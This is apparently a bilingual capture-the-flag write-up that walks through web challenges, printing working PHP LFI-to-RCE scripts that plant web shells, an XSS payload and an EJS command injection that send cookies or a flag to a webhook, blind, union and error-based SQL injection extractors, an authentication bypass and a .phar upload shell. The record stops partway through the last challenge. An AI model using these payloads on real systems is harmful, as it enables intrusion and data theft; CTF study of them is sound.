Preliminary Round 初赛
Easy PHPINFO 简单的 PHPINFO
When browsing the challenge web app, we encounter with a PHP source code as follows:
在浏览挑战 Web 应用程序时,我们会遇到如下 PHP 源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
<?php session_start(); echo "<h2>Do you need phpinfo? ... or not?</h2>"; $num=$_GET['num']; $page=$_GET['page']; if(preg_match("/^[0-9+-\/\*e ]/i", $num)){ exit("<h2>I hate number<h2>"); } if(preg_match("/flag|\.|php|conf|\*|'|\"/i", $page)){ exit("<h2>don't do that.</h2>"); } if(is_numeric($num)){ if($page==null){ echo phpinfo(); }else{ include_once($page); } }else{ highlight_file(__FILE__); } ?> |
We need to find a way to bypass two (2) if
conditions and get into the include_once
function. Let’s take a look at the first function that we need to bypass:
我们需要找到一种方法来绕过两 (2) if
个条件并进入 include_once
函数。让我们看一下我们需要绕过的第一个函数:
is_numeric($num)
Before our variable $num
get into the above function, this variable will go through the preg_match()
function with the following regex:
在我们的变量进入上述函数之前,该变量 $num
将使用以下正则表达式通过 preg_match()
函数:
1 |
preg_match("/^[0-9+-\/\*e ]/i", $num) |
By using online PHP Regex, we can identify and test each cases that has been filtered by this function.
通过使用在线PHP正则表达式,我们可以识别和测试被此函数过滤的每个案例。
Since it doesn’t blocked all characters, I can try look for URL encoded characters. By using a simple scripts, I identify few URL encoded characters that we can use to bypass is_numeric()
with the regex that we have.
由于它没有阻止所有字符,因此我可以尝试查找 URL 编码的字符。通过使用一个简单的脚本,我识别了几个 URL 编码字符,我们可以用这些字符来绕过 is_numeric()
我们拥有的正则表达式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
%091 %0A1 %0B1 %0C1 %0D1 %201 %2B1 %2D1 %2E1 %301 %311 %321 %331 %341 %351 %361 %371 %381 %391 |
With this we can bypass the first filter!
有了这个,我们可以绕过第一个过滤器!
The next part, we need to read /flag
, but again our variable $page
will go through preg_match()
as follow
下一部分,我们需要阅读 /flag
,但是我们的变量 $page
将按如下方式进行 preg_match()
1 |
preg_match("/flag|\.|php|conf|\*|'|\"/i", $page) |
Looking at the PHPINFO
result, we found that session.upload_progress.enabled
== On
and session.upload_progress.cleanup == Off
. This lead us to few reference about LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS since the code also using session_start()
.
查看 PHPINFO
结果,我们发现 session.upload_progress.enabled
== On
和 session.upload_progress.cleanup == Off
.这导致我们很少通过 PHP_SESSION_UPLOAD_PROGRESS 获得关于LFI2RCE的参考,因为代码还使用 session_start()
.
Script to exploit (RCE) If session.upload_progress.cleanup == Off
要利用的脚本 (RCE) If session.upload_progress.cleanup == Off
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
import requests, sys, random, string, io host = sys.argv[1] sess_save_path = '/tmp/83031eb8-41ac-11ee-b1b3-009337b0183d' sess_id = ''.join(random.choice(string.digits) for _ in range(5)) cookies = { 'PHPSESSID': sess_id } data = { 'PHP_SESSION_UPLOAD_PROGRESS': "<?php system($_GET['cmd']); ?>" } files = { 'file': ('a', io.BytesIO(b'a')) } requests.post(host, cookies=cookies, data=data, files=files) params = { 'num': '\x091', 'page': sess_save_path + '/sess_' + sess_id, 'cmd': 'cat /flag' } response = requests.get(host, cookies=cookies, params=params) print(response.text) |
Script to exploit (RCE) If session.upload_progress.cleanup == On
要利用的脚本 (RCE) If session.upload_progress.cleanup == On
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
import io import sys import requests import threading TARGET = sys.argv[1] sessid = 'cmd' sess_save_path = '/tmp/83031eb8-41ac-11ee-b1b3-009337b0183d/sess_'+sessid def POST(session): while True: f = io.BytesIO(b'a' * 1024 * 1000) session.post( TARGET, data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('/var/www/html/shell.php','w'),'<?php system($_GET[0]); ?>');?>"}, files={"file":('q.txt', f)}, cookies={'PHPSESSID':sessid} ) def READ(session): while True: session.get(f'{TARGET}?num=%091&page={sess_save_path}') response = session.get(TARGET+"/shell.php?0=cat+/flag") if 'flag' not in response.text: print('[+++]retry') else: print(response.text) sys.exit(0) with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session) |
I have a created a Dockerfile if you would like to play around with this exploit.
如果您想玩这个漏洞,我已经创建了一个 Dockerfile。
1 2 3 4 5 6 7 8 9 |
FROM php:7.4.33-apache COPY index.php /var/www/html/ RUN echo "flag{fake}" > /flag RUN cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini RUN sed -i 's/;session.save_path = "\/tmp"/session.save_path = "\/tmp\/83031eb8-41ac-11ee-b1b3-009337b0183d"/g' /usr/local/etc/php/php.ini RUN sed -i 's/;session.upload_progress.cleanup = On/session.upload_progress.cleanup = Off/g' /usr/local/etc/php/php.ini USER www-data RUN mkdir /tmp/83031eb8-41ac-11ee-b1b3-009337b0183d EXPOSE 80 |
References 引用
- https://blog.orange.tw/2018/10/
- https://xz.aliyun.com/t/9545
Capture The Image 捕获图像
Browsing the web challenge, we encounter with a page to send a link. Probabaly there is XSS involved in here?
浏览网络挑战时,我们遇到一个页面发送链接。这里可能涉及 XSS?
Looking at the source code, we identify the following interesting endpoints
查看源代码,我们确定了以下有趣的端点
/submit (GET,POST)
: This endpoint is used to send the link to the bot. The bot have two (2) features,visit_with_cookies
andvisit_with_screencapture
/submit (GET,POST)
:此终结点用于将链接发送到机器人。机器人有两 (2) 个功能,visit_with_cookies
并且visit_with_screencapture
/api/test (GET)
: This endpoint accept one argumentkey
. It will strip and replace few keywords such asscript
,onerror
andframe
.
/api/test (GET)
:此端点接受一个参数key
。它将去除并替换一些关键字,例如script
和onerror
frame
。
1 2 |
key = key.strip().lower() key = key.replace('script','--').replace('onerror','--').replace('frame','--') |
/captures (POST)
: This endpoint accept one argumentfilename
. It will send the content of filename starting from directorycaptures
.
/captures (POST)
:此端点接受一个参数filename
。它将从目录captures
开始发送文件名的内容。
1 2 3 |
filename = request.form.get('filename') if filename: return send_from_directory('captures', filename) |
The idea right now is to capture the bot secret
cookies, using the following XXS payload with onload
and send as link to bot.
现在的想法是捕获机器人 secret
cookie,使用以下 XXS 有效负载并 onload
作为链接发送到机器人。
1 |
http://127.0.0.1:22225/api/test?key=<svg on onload="a=document.cookie;fetch(`http://webhook.site/a7ab6dad-6104-4e6b-a8c1-444a208a9d01/?c=`%2Ba)"></svg> |
By getting the secret
cookies we can now access the second feature visit_with_screencapture
. The second feature will browser.get(url)
, so if we could send file:///etc/passwd
to the bot, we could get screenshot of /etc/passwd
. But we can’t do that as it will block certain schemes and use urlparse()
to get our URL schemes.
通过获取cookie, secret
我们现在可以访问第二个功能 visit_with_screencapture
。第二个功能将 browser.get(url)
,所以如果我们能发送到 file:///etc/passwd
机器人,我们可以得到 /etc/passwd
.但是我们不能这样做,因为它会阻止某些方案并用于 urlparse()
获取我们的 URL 方案。
links.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
block_schemes = ["file", "gopher", "blob", "ftp", "glob", "data"] block_host = ["localhost"] input_scheme = urlparse(link_submitted).scheme input_hostname = urlparse(link_submitted).hostname if '://' not in link_submitted or input_scheme in block_schemes or input_hostname in block_host: return render_template('submit.html', message = "Link is not correct.", config = config) if request.form.get('archive') == 'Y': uid = str(uuid4()) message = message + "\nUID : " + uid t1 = threading.Thread(target = visit_with_screencapture, args = (link_submitted,request.form['secret'],uid,)) t1.start() |
headless.py
1 2 3 4 5 6 7 8 9 10 11 |
def visit_with_screencapture(link_submitted, secret, uid): url = link_submitted.strip() if secret == config['secret']: try: browser.set_page_load_timeout(15) browser.get(config['host']) browser.get(url) sleep(1) filename = "captures/"+uid+".png" browser.get_screenshot_as_file(filename) browser.quit() |
We found out that urlparse()
got a vulnerability recently this year Python Parsing Error Enabling Bypass CVE-2023-24329. Using this vulnerability we could easily bypass the block schemes. Below are the final payload to read the flag.
我们发现今年最近遇到了一个漏洞, urlparse()
Python 解析错误启用绕过 CVE-2023-24329。利用这个漏洞,我们可以很容易地绕过阻止方案。以下是读取标志的最终有效载荷。
1 |
link= file:///flag&archive=Y&secret=redacted |
Use the UID output in the response and retrieve the file using endpoints /captures
在响应中使用 UID 输出,并使用终结点 /captures
检索文件
References: 引用:
- https://kb.cert.org/vuls/id/127587
- https://github.com/python/cpython/issues/102153
RenderBoard 渲染板
Browsing the web page, we can see login page.
浏览网页,我们可以看到登录页面。
Looking at the source code, we identify a possible SQL injection in /check_duplicate
endpoint as the variable id
directly go into the SQL query but with some restrictions.
查看源代码,我们发现端点中 /check_duplicate
可能存在 SQL 注入,因为变量 id
直接进入 SQL 查询,但有一些限制。
1 2 3 4 5 6 7 8 9 10 11 |
router.post('/check_duplicate', function (request, response) { try{ const id1 = request.body.username; if (id1.match(/'|_|or| |and|%20|\.|\(|\)/i)) { response.status(400).json({ error: 'Invalid input' }); return; } const id2 = id1.replace(new RegExp('substr|mid|like|char|hex|ord', 'gi'), ''); const id = decodeURIComponent(id2); const query = `SELECT * FROM user WHERE redacted1 = '${id}'`; db.query(query, function (error, results, fields) { |
The parameter username
will go through a regex that will restrict some of our input. But this can easily bypass with URL encoded characters as at the end it will use decodeURIComponent()
function to URL decoded it back.
该参数 username
将通过一个正则表达式,该正则表达式将限制我们的一些输入。但这可以很容易地绕过 URL 编码字符,因为最后它将使用 decodeURIComponent()
函数将其 URL 解码回来。
With this in knowledge, we created a script to extract the username and password of an admin. One thing to take note the columns of the user tables are different from the one we have. So we will need to enumerate the columns name too.
有了这些知识,我们创建了一个脚本来提取管理员的用户名和密码。需要注意的一点是,用户表的列与我们拥有的列不同。因此,我们也需要枚举列名。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
import requests, sys import urllib3,urllib import string urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def encode_all(string): a = "".join("%{0:0>2x}".format(ord(char)) for char in string) return a.replace("%20","/**/") def sqli(q_left,chars): # Register an account first with random userid data = """654321' and (%s)='%s""" % (q_left, chars) data = encode_all(data) data2 = {"username":data} r = requests.post(TARGET,data=data2) return "searchid" in r.text def exploit(TARGET,SQL_TEMPLATE): i = 1 dumped = "" dumped2 = "" while True: for chars in string.printable: if sqli(SQL_TEMPLATE%i,chars): dumped += chars i+=1 break if dumped == dumped2: break dumped2 = dumped return dumped if __name__ == "__main__": TARGET = sys.argv[1]+"/auth/check_duplicate" # Enumerate Columns SQL_TEMPLATE = "select substr((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'acs_data' and table_name = 'user'),%s,1)" print(exploit(TARGET,SQL_TEMPLATE)) # Enumerate username and password of admin SQL_TEMPLATE = "select substr((select group_concat(userid,':',passwd) from user where is_admin=1),%s,1)" print(exploit(TARGET,SQL_TEMPLATE)) |
Now, we have the credentials of an admin to login! Looking at package.json
, we notice the version of ejs == 3.1.6
. This version is popular with a vulnerability that lead to RCE
. More explanation can be found in here. Grep for render
and req
give us one possible injection in endpoint admin_board_detail
现在,我们有了管理员的凭据来登录!查看 package.json
,我们注意到 ejs == 3.1.6
的版本。此版本很受欢迎,存在导致 RCE
.更多解释可以在这里找到。Grep for render
并在 req
终点 admin_board_detail
中给我们一个可能的注入
1 2 |
└─$ grep -Hnri "\.render" | grep -i req main.js:152: res.render('admin_board_detail', { ...req.query, post: result[0], isAdmin }); |
Let’s try craft a simple payload just to check if we could set delimiter=NotExistsDelimiter
让我们尝试制作一个简单的有效载荷,只是为了检查我们是否可以设置 delimiter=NotExistsDelimiter
Now, we can craft a payload to get our flag
现在,我们可以制作一个有效载荷来获取我们的标志
1 2 3 4 5 |
# Exfiltrate /flag.txt /main/admin_notice/detail?no=1&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('curl "https://<webhook>/?c="`cat /flag.txt | base64 -w0`') # Output the flag on the page (error) main/admin_notice/detail?no=1&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('`cat /flag.txt`') |
References: 引用:
- https://security.snyk.io/vuln/SNYK-JS-EJS-2803307
Flask Newbie Flask 新手
When browsing the web page, we can see there are 3 tabs of home
, board
and login
. For this challenge we didn’t receive any source code.
在浏览网页时,我们可以看到 home
有 3 个选项卡 , board
和 login
。对于这个挑战,我们没有收到任何源代码。
While enumerating the web app, we identified the endpoint /<random>
will show filtered
in the response when we entered a number.
在枚举 Web 应用时,我们确定终结点 /<random>
将在输入数字时显示在 filtered
响应中。
This indicates there is SSTI on that endpoints. We noticed we can only use {}
and alphabets characters. Next, we tried to look at the {{config}}
and found out that there is JWT_SECRET_KEY
这表示该端点上有 SSTI。我们注意到我们只能使用 {}
字母字符。接下来,我们试着看了一下, {{config}}
发现有 JWT_SECRET_KEY
Maybe with this secret_key
we could login as admin? After register an account, we tried to change the value of sub
to poppo
. The main reason because the web app was created by poppo
so we assume he is an admin himself.
也许有了这个 secret_key
,我们可以以管理员身份登录?注册账号后,我们尝试将 sub
的值 poppo
更改为 。主要原因是因为 Web 应用程序是由创建的, poppo
因此我们假设他本人是管理员。
Using the admin
user, we can now using the admin only
feature which is write
使用 admin
用户,我们现在可以使用 admin only
以下功能: write
When using this upload feature, we tried various approach and notice that there is 502
error when using ../
in our filename.
使用此上传功能时,我们尝试了各种方法,并注意到在文件名中使用 ../
时存在 502
错误。
Probably this web app enable debug = True
, with this we gained some insights on how they sanitize the filename
.
可能这个 Web 应用程序启用 debug = True
了 ,通过这个,我们获得了一些关于他们如何清理 filename
.
We can use .+./.+./fl+ag
to get /flag
我们可以用来 .+./.+./fl+ag
获得 /flag
The file is a binary so we can download it and execute it to get our flag.
该文件是一个二进制文件,因此我们可以下载它并执行它以获取我们的标志。
Trick or Trick 捣蛋或把戏
By the time of writing this writeup after the event, I don’t have the full source code for this challenge. During the event, we didn’t manage to solve the challenge but the flag probably somewhere in the server and we need to bypass the restrictions to get into include $include
. On first day, we stuck at the rabbit hole and get the flag{fakeflag}
. Let’s first get all the important codes to get into include
.
在活动结束后写这篇文章时,我还没有这个挑战的完整源代码。在活动期间,我们没有设法解决挑战,但标志可能在服务器的某个地方,我们需要绕过限制才能进入 include $include
。第一天,我们被困在兔子洞里,得到了 flag{fakeflag}
.让我们首先获取所有重要代码。 include
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
// Check if the $_SERVER['REQUEST_URI'] includes login2, SERVER, % if(preg_match('/login2|SERVER|\%/i',$_SERVER['REQUEST_URI'])) die('[!] No hacking'); // Use extract() with $_GET variable extract($_GET); // Setting $secretid and $secretpw $secretid = "admin"; $secretpw = rand(10000,99999); // If get this value correctly $login will become 1 if(($secretid == $_GET['id']) and ($secretpw == $_GET['pw'])) $login = 1; // Bypass this to get into include $include. if($login == 1 && $_GET['login2'] == 2){ disallow($include); include $include; } |
Looking at the codes, we can try bruteforce rand(10000,99999)
and get the correct value which will get us $login == 1
. But that’s might not be the intended ways and we still need to have $_GET['login2'] == 2
which is impossible with the preg_match()
will block us to do so.
查看代码,我们可以尝试蛮力 rand(10000,99999)
并获得正确的值,这将得到我们 $login == 1
。但这可能不是预期的方式,我们仍然需要这样做,这是不可能的, preg_match()
因为意志会阻止我们这样做 $_GET['login2'] == 2
。
One interesting function used in this challenge is extract()
, to get more understanding you can read in here
此挑战中使用的一个有趣的函数是 extract()
,为了获得更多的理解,您可以阅读 这里
During the competition I only tested on my machine to bypass the restrictions by using the following codes.
在比赛期间,我只在我的机器上测试了使用以下代码绕过限制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
<?php // Check if the $_SERVER['REQUEST_URI'] includes login2, SERVER, % if(preg_match('/login2|SERVER|\%/i',$_SERVER['REQUEST_URI'])) die('[!] No hacking'); // Use extract() with $_GET variable extract($_GET); echo "\$login = "; echo var_dump($login); echo " | \$_GET['login2'] = " ; echo var_dump($_GET['login2']); // Bypass this to get into include $include. if($login == 1 && $_GET['login2'] == 2){ disallow($include); include $include; } ?> |
But it always give my an error when trying to set the $_GET == 2
with using my Kali’s PHP.
但是在尝试使用我的 Kali 的 PHP 设置 $_GET == 2
with 时,它总是给我一个错误。
1 |
FROM php:8.2.10-apache |
After changing the PHP version to 7.4.33
, I got different results. Probably the challenge’s server using the old version of PHP.
将PHP版本更改为 7.4.33
后,我得到了不同的结果。可能是挑战的服务器使用旧版本的 PHP。
1 |
FROM php:7.4.33-apache |
Nice, with this I can now focus on getting the flag but I don’t have the code for function disallow()
(T_T) . Let’s assume that function will disallow us to start with certain wrapper such as php://
. Thus we can can use PHP://
and get our flag!
很好,有了这个,我现在可以专注于获取标志,但我没有函数 disallow()
(T_T)的代码。假设该函数将不允许我们从某些包装器开始,例如 php://
.因此,我们可以使用 PHP://
并获得我们的旗帜!
1 2 |
└─$ curl -s "localhost/?login=1&_GET=2&include=PHP://filter/convert.base64-encode/resource=flag.php" | base64 -d flag{fake} |
I have a created a Dockerfile if you would like to play around with this exploit.
如果您想玩这个漏洞,我已经创建了一个 Dockerfile。
index.php 索引.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
<?php function disallow($input) { // Check if the input starts with "php://" if (strpos($input, 'php://') === 0) { exit; // Disallow } } session_start(); error_reporting(0); $time = 600; $now = time(); if (isset($_SESSION['last_activity']) && ($now - $_SESSION['last_activity']) > $time) { session_unset(); session_destroy(); } $_SESSION['last_activity'] = $now; if($_SERVER['REQUESTS_URI'] === '/') { header('Location: /index.php'); exit; } if(preg_match('/login2|SERVER|\%/i',$_SERVER['REQUEST_URI'])) die('[!] No hacking'); extract($_GET); $secretid = "admin"; $secretpw = rand(10000,99999); if (!isset($_SESSION['guestpw'])) { $_SESSION['guestpw'] = rand(1000, 9999); } $guestpw = $_SESSION['guestpw']; if(($secretid == $_GET['id']) and ($secretpw == $_GET['pw'])) $login = 1; if($login == 1 && $_GET['login2'] == 2){ disallow($include); include $include; } else if ($_POST['id'] === 'guest' && $_POST['pw'] === strval($guestpw)) { echo "<div class='message'>Login Success<hr></div>"; result_(); } else { echo "<div class='message'>Login Fail<hr></div>"; } ?> |
Dockerfile Docker文件
1 2 3 4 5 |
FROM php:7.4.33-apache COPY index.php /var/www/html/ RUN echo "flag{fake}" > /var/www/html/flag.php RUN cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini EXPOSE 80 |
Final Round 决赛
Zerggling 虫族
We received the source code of this application gnuboard5 == v5.8.2.5
我们收到了这个应用程序 gnuboard5 == v5.8.2.5
的源代码
Looking at the internet, we found out there is a vulnerability involved with SQL Injection in version v5.8.2.6
in here with KVE-2023-0046.
在互联网上,我们发现 KVE-2023-0046 的版本 v5.8.2.6
中存在一个与 SQL 注入相关的漏洞。
mobile/shop/listtype.php
shop/listtype.php
The name of the challenge give us a hint that it might also involved with type juggling as it fix ==
to ===
. When accessing /shop/listtype.php?type=1a2
we will get the result of $type == 1
.
挑战的名称给了我们一个提示,它可能也涉及类型杂耍,因为它固定 ==
为 ===
.访问 /shop/listtype.php?type=1a2
时,我们将得到 $type == 1
的结果。
Since it using ==
, we could use this for our SQL Injection later. Also the PHP version of the docker instance is PHP 7.4.3
.
由于它使用 ==
,我们可以稍后将其用于 SQL 注入。此外,docker 实例的 PHP 版本是 PHP 7.4.3
.
1 2 3 4 5 6 |
php > echo var_dump("1" == 1); bool(true) php > echo var_dump("1a" == 1); bool(true) php > echo var_dump("1abasasdasdasd" == 1); bool(true) |
Nice, now we could bypass the ==
. But where is the SQL injection? A good method that I always use is by enabling the SQL error log.
很好,现在我们可以绕过. ==
但是SQL注入在哪里?我经常使用的一个好方法是启用 SQL 错误日志。
1 2 3 4 5 |
sudo docker exec -it <docker_id> mariadb --user root -pgnuboard SET global general_log = on; SET global general_log_file='/var/log/mysql/mysql.log'; SET global log_output = 'file'; |
By accessing /shop/listtype.php?type=1a23
, we can identify in the mysql.log
where is the SQL injection located. Our input was inserted in it_type<here>
.
通过访问 /shop/listtype.php?type=1a23
,我们可以确定 mysql.log
SQL 注入的位置。我们的输入入到 it_type<here>
.
Nice, we could craft a payload in here to restrieve the flag
in flag
table. But we now encounter with one restrictions. Our inputs can’t use '
but since it using SELECT
, we could use this with UNION
.
很好,我们可以在这里制作一个有效载荷来缓解表中的 flag
负载 flag
。但是我们现在遇到了一个限制。我们的输入不能使用 '
,但既然它使用 SELECT
,我们可以将其与 UNION
一起使用。
1 |
$type = isset($_REQUEST['type']) ? preg_replace("/[\<\>\'\"\\\'\\\"\%\=\(\)\s]/", "", $_REQUEST['type']) : ''; |
After looking g5_shop_item
table, it has 90
columns and we can try look at which columns will be reflected on the page or we can even not doing in that way.
查看表格后,它有 90
列,我们可以尝试查看 g5_shop_item
哪些列将反映在页面上,或者我们甚至可以不以这种方式这样做。
At first, we encounter an error unknown column
because it_type1a123
is not exists in table g5_shop_item
.
首先,我们遇到一个错误 unknown column
,因为 it_type1a123
表 g5_shop_item
中不存在。
After enumerate the tables, we identify the best column to use which is it_type1
.
枚举表后,我们确定要使用的最佳列 it_type1
是 。
The full script to get the flag as shown below
获取标志的完整脚本,如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 |
import requests, sys import urllib.parse payload = "1" payload += " union select " payload += "flag,"*89 payload += "flag FROM FLAG#" payload = payload.replace(" ","/**/") payload = urllib.parse.quote(payload) r = requests.get(sys.argv[1]+"/shop/listtype.php?type="+payload) if "ACS" in r.text: print(r.text) |
1 2 |
└─$ python3 exploit.py http://192.168.48.130:20002 | grep -i 'ACS{' ACS{fake_flag} |
Zigger Zagger 齐格·扎格尔
We received the source code of this application zigger == v2.4.3
in here. We found out that there are some critical vulnerabilities patched in v2.4.5.
我们在这里收到了这个应用程序 zigger == v2.4.3
的源代码。我们发现 v2.4.5 中修补了一些关键漏洞。
1 2 3 4 |
[Complementary measures based on recommendations from the Korea Internet & Security Agency] - A security issue was discovered in the set_password() method and patched - Security issues were found in record_dataupload() and record_datadrop() methods and patched - An issue vulnerable to injection attacks was discovered when downloading attachments from the bulletin board, so this was patched |
To exactly identify the vulnerable files and patches, we decided to do code diffing
on version v2.4.3
and v2.4.5
. Im using meld
which really easy to install sudo apt install meld
.
为了准确识别易受攻击的文件和补丁,我们决定 code diffing
对 version v2.4.3
和 v2.4.5
进行处理。我使用 meld
它非常容易安装 sudo apt install meld
。
Download : v2.4.4 下载 : v2.4.4
Download : v2.4.5 下载 : v2.4.5
We found several files that might be interesting for us to get the flag. The first file we found located in lib/pdo.class.php
我们找到了几个文件,这些文件可能对我们获取标志感兴趣。我们找到的第一个文件位于 lib/pdo.class.php
We found out that the function set_password()
has been used in the login function.
我们发现该功能已在登录功能 set_password()
中使用。
Nice, now we could abuse the password
to bypass the authentication since it using the set_password()
.
很好,现在我们可以滥用 password
绕过身份验证,因为它使用 set_password()
.
Full script to bypass the authencation:
绕过身份验证的完整脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
import requests,sys import urllib3,urllib import string import io urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def auth_bypass(TARGET): data = """x'))))) or 1=1#""" headers = { "Referer":TARGET } data2 = { "redirect":"%2F", "id":"admin", "pwd":data } r = session.post(TARGET+"/sign/signin-submit?rewritetype=submit",data=data2,headers=headers) return "alert->location" in r.text session = requests.Session() if __name__ == "__main__": TARGET = sys.argv[1] if auth_bypass(TARGET): print(session.cookies) print("Bypass authentication") |
1 2 3 |
└─$ python3 bypass_authentication.py http://192.168.48.130:22030 <RequestsCookieJar[<Cookie PHPSESSID=p9n41hva9q7b4v4n48hv4r2pph for 192.168.48.130/>]> Bypass authentication |
I tried to read the flag by abusing this SQL injection, but I’m not really sure why it’s not working. Also, reading all writeup from others team, they don’t even need to bypass this authentication. The next SQLi vulnerable endpoint can be exploit and get the flag. It’s located in mod/board/controller/file.php
我试图通过滥用此SQL注入来读取该标志,但我不确定为什么它不起作用。此外,阅读其他团队的所有文章,他们甚至不需要绕过此身份验证。下一个 SQLi 易受攻击的端点可能被利用并获取标志。它位于 mod/board/controller/file.php
We found an endpoint that use board_id
(GET
request) with NO AUTHENTICATION needed. Since it gave us an error in the response we could extract the flag using the following payloads.
我们发现了一个使用 board_id
( GET
request) 且不需要身份验证的端点。由于它在响应中给了我们一个错误,我们可以使用以下有效负载提取标志。
List of Payloads: 有效载荷列表:
1 2 3 4 5 6 7 8 |
# (1) updatexml() /mod/board/controller/result/result?board_id=123123' and updatexml(null,concat(0x0a,(select flag from flag)),null)-- - # (2) extractvalue() mod/board/controller/result/result?board_id=123123' and extractvalue(rand(),concat(0x3a,(SELECT flag FROM flag)))-- - # (3) Basic mod/board/controller/result/result?board_id=123123' or (select 1 and row(1,1)>(select count(*),concat(CONCAT((select flag from flag)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- - |
Easy? Web CMS Shell 容易?Web CMS 外壳
We received the source code of this application xpressengine == v3.0.14
in here. We found out that there are some patches in v3.0.15 that added .phar
extensions into blacklisted extensions.
我们在这里收到了这个应用程序 xpressengine == v3.0.14
的源代码。我们发现 v3.0.15 中有一些补丁将扩展添加到 .phar
列入黑名单的扩展中。
Searching around, we found some hints where the upload
function located in CVE-2021-26642
四处搜索,我们发现了一些提示, upload
该函数位于 CVE-2021-26642 中
1 |
When uploading an image file to a bulletin board developed with XpressEngine, a vulnerability in which an arbitrary file can be uploaded due to insufficient verification of the file. A remote attacker can use this vulnerability to execute arbitrary code on the server where the bulletin board is running. |
To access the bulletin board, we need to register and login first.
要访问公告板,我们需要先注册并登录。
We found an endpoint to create a new board in /board/create
. There are two (2) items we can upload either Attachements
or Media Library
.
我们在 中找到 /board/create
了一个端点来创建一个新板。我们可以上传两 (2) 个项目,或者 Attachements
Media Library
.
At first, we tried to upload a .jpg
file at /media_library/file
and in the response it reflected the full path with the filename to access the image file.
起初,我们尝试上传 /media_library/file
一个 .jpg
文件,在响应中,它反映了带有文件名的完整路径,以访问图像文件。
1 |
/storage/app/public/media/public/media_library/19/61/20231126201643cee1cac995540c33e06d792e077297bd31e7e504.jpg |
Since the version that we have doesn’t blacklisted .phar
yet, we can try upload the following codes with filenames consists of .phar
extensions.
由于我们拥有的版本尚未列入黑名单 .phar
,因此我们可以尝试上传以下文件名包含 .phar
扩展名的代码。
1 |
<?php system('cat /flag'); ?> |
Baby TodoList 宝贝待办事项列表
We received the source code of this application and it’s a custom web application. When browsing the web page, we encounter with a login page.
我们收到了这个应用程序的源代码,它是一个自定义的 Web 应用程序。浏览网页时,我们会遇到一个登录页面。
Looking at each of the .php
files, we found few interesting PHP files global.php
and index.php
.
查看每个 .php
文件,我们发现了一些有趣的 PHP 文件 global.php
和 index.php
.
index.php 索引.php
- One of the
include_once
has the variable$theme
that depends on the$preview
variable.
其中一个include_once
具有依赖于该$preview
变量的变量$theme
。 - The
$preview
variable by default is$preview = false
.
缺省情况下,$preview
变量为$preview = false
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
<?php $preview = false; include_once 'global.php'; if (!isset($_SESSION["user_id"])) { header("Location: login.php"); exit(); } $todos_fetch = mysqli_query($conn, "SELECT * FROM todos WHERE user_id = " . $_SESSION["user_id"]); $todos_row = @mysqli_fetch_all($todos_fetch, MYSQLI_ASSOC); $users_fetch = mysqli_query($conn, "SELECT * FROM users WHERE id = " . $_SESSION["user_id"]); $user = @mysqli_fetch_array($users_fetch); include_once 'theme.header.php'; include_once "./themes/".($preview?$theme['fname']:$user["theme"]); include_once 'theme.footer.php'; ?> |
global.php 全局.php
- If
$_COOKIE['preview_theme']
isset, the value is directly go into the query after going few functions.
如果$_COOKIE['preview_theme']
为 isset,则该值在执行几个函数后直接进入查询。 - If the
$theme
got a result, it will set$preview = true
.
如果$theme
得到一个结果,它将设置$preview = true
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
<?php // Will replace /flag to f-l-a-g // This function trying to stop us to read /flag function badwordfiltering($string){ $string = preg_replace("/flag/i", "f-l-a-g", $string); return $string; } // base64_decode(substr(base64_decode("<BASE64>"),1)); // Can add space infront of the first base64 for the substr(,1) function function decrypt($string){ $r = substr(base64_decode($string), 1); return base64_decode($r); } // set cookies preview_theme and add SQL payload if(isset($_COOKIE['preview_theme'])){ $preview_theme = badwordfiltering(htmlspecialchars(decrypt($_COOKIE['preview_theme']))); $themes_fetch = mysqli_query($conn, "SELECT * FROM themes WHERE tname = '$preview_theme'"); $theme = @mysqli_fetch_array($themes_fetch); if($theme){ $preview = true; } } ?> |
To make it simple, first we need to get into index.php
. We can only access index.php
with a session. So let’s register a user and login to get a session. Once we get a session, we will have options to change the theme either RED, BLUE or GREEN
.
为了简单起见,首先我们需要进入 index.php
.我们只能通过会话访问 index.php
。因此,让我们注册一个用户并登录以获取会话。一旦我们得到一个会话,我们将可以选择更改主题。 RED, BLUE or GREEN
Once we click a theme, it will do a POST
request to /todo_process.php
and set the users
table with the correct theme
value either red, blue or green. We know that the function of include_once
will include red.php
, blue.php
or green.php
only using the todo_process.php
.
一旦我们单击一个主题,它将请求 POST
/todo_process.php
并使用正确的 theme
值(红色、蓝色或绿色)设置 users
表格。我们知道 include_once
的函数将包括 red.php
, blue.php
或者 green.php
只使用 todo_process.php
.
1 |
$sql = "UPDATE users SET theme = '$theme' WHERE id = " . $_SESSION['user_id']; |
